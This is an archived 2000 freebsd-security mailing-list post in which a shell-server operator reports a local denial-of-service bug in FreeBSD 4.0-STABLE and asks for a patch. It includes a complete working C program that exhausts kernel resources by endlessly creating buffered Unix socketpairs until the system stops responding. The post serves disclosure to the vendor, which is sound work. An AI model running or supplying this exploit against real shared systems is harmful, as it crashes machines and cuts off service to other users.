From owner-freebsd-security  Fri Jun 23 19: 1:54 2000
Delivered-To: freebsd-security@freebsd.org
Received: from mics.co.za (saturn.mics.co.za [196.34.165.130])
	by hub.freebsd.org (Postfix) with ESMTP id B62A637B778
	for <security@freebsd.org>; Fri, 23 Jun 2000 19:01:42 -0700 (PDT)
	(envelope-from christiaan@mics.co.za)
Received: from vision.boxlet.co.za
	([196.34.165.140] helo=mics.co.za ident=vision)
	by mics.co.za with esmtp (Exim 3.13 #1)
	id 135fGe-0003p6-00
	for security@freebsd.org; Sat, 24 Jun 2000 04:01:56 +0200
Message-ID: <39541671.84FFC647@mics.co.za>
Date: Sat, 24 Jun 2000 04:01:22 +0200
From: Christiaan Rademan <christiaan@mics.co.za>
Organization: MICS
X-Mailer: Mozilla 4.72 [en] (X11; I; FreeBSD 4.0-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: security@freebsd.org
Subject: Security Bug.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.org

Hi.

I am hosting a shell server, for my dialup users at a ISP.

We have one slight problem, there is a DoS attack that affects
FBSD4.0Stable locally
and other FBSD releases.

If the DoS attack is runned locally, the system stops accepting
connections then die's off.

Here is the bug... :-) if there is a patch already please post it
here...

#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,
sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,
sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,
sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,
sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }
        exit(0);
}




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message